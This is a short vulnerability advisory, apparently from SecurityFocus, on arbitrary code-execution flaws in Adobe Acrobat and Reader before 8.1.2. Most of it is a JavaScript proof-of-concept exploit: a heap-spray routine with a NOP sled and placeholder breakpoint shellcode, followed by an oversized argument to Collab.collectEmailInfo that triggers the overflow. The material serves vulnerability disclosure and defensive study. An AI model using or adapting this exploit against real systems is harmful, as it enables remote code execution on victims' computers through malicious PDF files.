source: http://www.securityfocus.com/bid/27641/info

Adobe Acrobat and Reader are prone to multiple arbitrary remote code-execution and security vulnerabilities.

Attackers can exploit these issues to execute arbitrary code in the context of the user running the affected application. Other attacks are also possible.

Versions prior to Adobe Acrobat and Adobe Reader 8.1.2 are vulnerable to these issues. 

function repeat(count,what) {
   var v = "";
   while (--count >= 0) v += what;
   return v;
}
function heapspray(shellcode) {
   block='';
   fillblock = unescape("%u9090");
   while(block.length+20+shellcode.length<0x40000) 
      block = block+block+fillblock;
   arr = new Array();
   for (i=0;i<200;i++) arr[i]=block + shellcode;
}

heapspray(unescape(“%ucccc%ucccc”));
Collab.collectEmailInfo({
   msg:repeat(4096, unescape("%u0909%u0909"))});